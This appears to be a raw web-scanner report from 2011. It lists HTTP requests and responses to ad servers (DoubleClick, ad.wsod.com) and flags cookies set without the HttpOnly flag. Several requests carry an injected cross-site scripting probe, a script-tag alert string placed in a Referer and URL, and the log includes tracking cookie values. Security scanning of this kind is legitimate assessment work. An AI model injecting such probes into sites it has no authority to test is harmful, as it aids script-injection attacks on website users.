GET /click;h=v8/3aa2/f/3cd/*/n;235235065;0-0;0;59067898;4307-300/250;40443113/40460900/1;;~sscs=?http:/ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=http%3a%2f%2flp2.turbotax.com/ty10/bn/geo_tx%3Fcid%3Dbn_im_nf_anb_opgeotxT_txG_pk_300x250%26priorityCode%3D4654800000 HTTP/1.1 Host: ad-emea.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http:%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http:%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=http:%2f%2flp2.turbotax.com/ty10/bn/geo_tx%3Fcid%3Dbn_im_nf_anb_opgeotxT_txG_pk_300x250%26priorityCode%3D4654800000 Set-Cookie: id=c653243310000d9|1984865/1006548/15007|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 02 Feb 2011 16:18:22 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c37ccbd32000070||t=1296715715|et=730|cs=dt-1jb2n; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:48:35 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:48:35 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/N4492.MSN/B5014254.59 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=CheckForPermission;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Thu, 03 Feb 2011 06:48:35 GMT Location: http://s0.2mdn.net/viewad/817-grey.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: id=c37ccbd32000070||t=1296715715|et=730|cs=dt-1jb2n; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:48:35 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:48:35 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 14:46:15 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ad/N553.126834.KONTERATECHNOLOGIES/B5039995 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Tue, 01 Feb 2011 14:31:15 GMT Location: http://s0.2mdn.net/viewad/817-grey.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 14:46:15 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=cb3d6bd32000037||t=1296716221|et=730|cs=9el-dbvd; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:57:01 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:57:01 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adi/N3285.google/B2343920.91 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=CheckForPermission;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 345 Set-Cookie: id=cb3d6bd32000037||t=1296716221|et=730|cs=9el-dbvd; path=/; domain=.doubleclick.net; expires=Sat, 02 Feb 2013 06:57:01 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 02 Feb 2011 06:57:01 GMT Cache-Control: no-cache Pragma: no-cache Date: Thu, 03 Feb 2011 06:57:01 GMT Expires: Thu, 03 Feb 2011 06:57:01 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:23:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: id=2244e57c0c01002a||t=1296573792|et=730|cs=pkhwecaq; expires=Thu, 31-Jan-2013 15:23:12 GMT; path=/; domain=.doubleclick.net Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Content-Length: 6715
<html><head><title>Advertisement</title></head><body bgcolor="#ffffff" style="margin:0px;"><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:37:55 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:37:55 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:22:55 GMT Cache-Control: private, x-gzip-ok="" Expires: Tue, 01 Feb 2011 15:22:55 GMT Content-Length: 5478
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=ca5f3b5320000b9||t=1296663503|et=730|cs=lv-flm96; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:23 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:23 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adi/dmd.ehow/homepage HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=ce03cb532000061||t=1296659799|et=730|cs=dxq5uhqs; test_cookie=CheckForPermission;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 393 Set-Cookie: id=ca5f3b5320000b9||t=1296663503|et=730|cs=lv-flm96; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:23 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:23 GMT Cache-Control: no-cache Pragma: no-cache Date: Wed, 02 Feb 2011 16:18:23 GMT Expires: Wed, 02 Feb 2011 16:18:23 GMT Connection: close
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/ ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c8b2db5320000e0||t=1296659579|et=730|cs=cn7-xujn; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 15:12:59 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:12:59 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Set-Cookie: id=c8b2db5320000e0||t=1296659579|et=730|cs=cn7-xujn; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 15:12:59 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 15:12:59 GMT Date: Wed, 02 Feb 2011 15:12:59 GMT Cache-Control: private, x-gzip-ok="" Expires: Wed, 02 Feb 2011 15:12:59 GMT Content-Length: 262
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=ca5f3b5320000dd|1890937/408080/15007|t=1296663507|et=730|cs=woptkuft; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:27 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:27 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click;h=v8/3aa2/17/1d3/*/o;231173167;2-0;0;55360143;4307-300/250;40534690/40552477/1;;~okv=;pc=[TPAS_ID];;~sscs=?http:/ad.thewheelof.com/clk?2,13%3B653249d08c366ff1%3B12de6eda05f,0%3B%3B%3B1017169916,NwQAAD4rFgD4vmoAAAAAACJcHgAAAAAAAgAAAAIAAAAAAP8AAAAECkpVJAAAAAAAl5IEAAAAAABSBigAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAGZ.t5i0BAAAAAAAAAGI1OTgxOTRhLTJlZGUtMTFlMC05YmRiLTAwMzA0OGQ2ZDg5MABwAAAAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Btile%3D2%3Bord%3D2735259747132%3F,http://www.autocheck.com/?WT.mc_id=3499&siteID=3499 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=ce03cb532000061||t=1296659799|et=730|cs=dxq5uhqs; test_cookie=CheckForPermission;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.thewheelof.com/clk?2,13%3B653249d08c366ff1%3B12de6eda05f,0%3B%3B%3B1017169916,NwQAAD4rFgD4vmoAAAAAACJcHgAAAAAAAgAAAAIAAAAAAP8AAAAECkpVJAAAAAAAl5IEAAAAAABSBigAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAGZ.t5i0BAAAAAAAAAGI1OTgxOTRhLTJlZGUtMTFlMC05YmRiLTAwMzA0OGQ2ZDg5MABwAAAAAAA=,,http://ad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Btile%3D2%3Bord%3D2735259747132%3F,http://www.autocheck.com/?WT.mc_id=3499&siteID=3499 Set-Cookie: id=ca5f3b5320000dd|1890937/408080/15007|t=1296663507|et=730|cs=woptkuft; path=/; domain=.doubleclick.net; expires=Fri, 01 Feb 2013 16:18:27 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Tue, 01 Feb 2011 16:18:27 GMT Date: Wed, 02 Feb 2011 16:18:27 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|737194/848412/15006|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;235700229;59276878;v HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc; test_cookie=;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://weeklyad.staples.com/staples/new_user_entry.aspx?adref=2011Q1WeeklyAdMSNTextlink&cm_mmc=display_ads-_-WeeklyAd2011-_-OLC-_-MSN&cid=BAN:RETAIL:MSN:MSN:WEEKLYAD:20110201:TEXTLINK:VARIOUS:N Set-Cookie: id=c653243310000d9|737194/848412/15006|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Tue, 01 Feb 2011 15:29:56 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1391.0.img.TEXT/1392708374 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Referer: http://money.msn.com/investing?6e5ec%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef4e8bec2fdd=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:1411:992:100:0:34115:1296410365:B2|33:1391:261:95:0:34115:1296410354:B2|33:1411:782:100:0:34115:1296392450:B2
Response
HTTP/1.1 302 Found Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:46:53 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:46:53 GMT; path=/ Set-Cookie: i_1=33:1391:835:95:0:38655:1296683213:L|33:1411:992:100:0:34115:1296410365:B2|33:1391:261:95:0:34115:1296410354:B2; expires=Fri, 04-Mar-2011 21:46:53 GMT; path=/ Location: http://admedia.wsod.com/media/p.gif P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1391.0.img.TEXT/1496386082 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Referer: http://money.msn.com/investing?998d7 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 302 Found Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:48:55 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:48:55 GMT; path=/ Set-Cookie: i_1=33:1391:261:95:0:38655:1296683335:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:48:55 GMT; path=/ Location: http://admedia.wsod.com/media/p.gif P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/1391.0.img.TEXT/822821502 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Referer: http://money.msn.com/investing?998d7 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:198:3:0:38655:1296683214:L|33:1391:835:95:0:38655:1296683213:L|33:1411:992:100:0:34115:1296410365:B2
Response
HTTP/1.1 302 Found Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:48:15 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:48:15 GMT; path=/ Set-Cookie: i_1=33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L|33:1391:835:95:0:38655:1296683213:L; expires=Fri, 04-Mar-2011 21:48:15 GMT; path=/ Location: http://admedia.wsod.com/media/p.gif P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683213**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F6e5ec%2522%253E%253Cscript%253Ealert1%253C_@2Fscript%253Ef4e8bec2fdd%3D1?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=991035629&PG=INVSRQ&ASID=cb0b7f4255734b4ba18190811d8f4ee6 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:1391:835:95:0:38655:1296683213:L|33:1411:992:100:0:34115:1296410365:B2|33:1391:261:95:0:34115:1296410354:B2
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:46:54 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:46:54 GMT; path=/ Set-Cookie: i_1=33:353:198:3:0:38655:1296683214:L|33:1391:835:95:0:38655:1296683213:L|33:1411:992:100:0:34115:1296410365:B2; expires=Fri, 04-Mar-2011 21:46:54 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 847
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=991035629&PG=INVSRQ&ASID=cb0b7f4255734b4ba18190811 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683295**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=1377911769&PG=INVSRQ&ASID=2af8a7eb720e4efda85b7da3171198fc HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L|33:1391:835:95:0:38655:1296683213:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:48:16 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:48:16 GMT; path=/ Set-Cookie: i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L; expires=Fri, 04-Mar-2011 21:48:16 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 821
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=1377911769&PG=INVSRQ&ASID=2af8a7eb720e4efda85b7da3 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:48:57 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:48:57 GMT; path=/ Set-Cookie: i_1=33:353:198:3:0:38655:1296683337:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:48:57 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 824
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a4 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/971.560.tk.100x25/318849087 HTTP/1.1 Accept: */* Referer: http://www.msn.com/ Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: ad.wsod.com Proxy-Connection: Keep-Alive Cookie: u=4d1e80eb13df2; i_1=33:971:560:0:0:34147:1296491944:B2|33:1359:827:0:0:34115:1296343593:B2|33:1359:827:0:0:37452:1295382870:L
Response
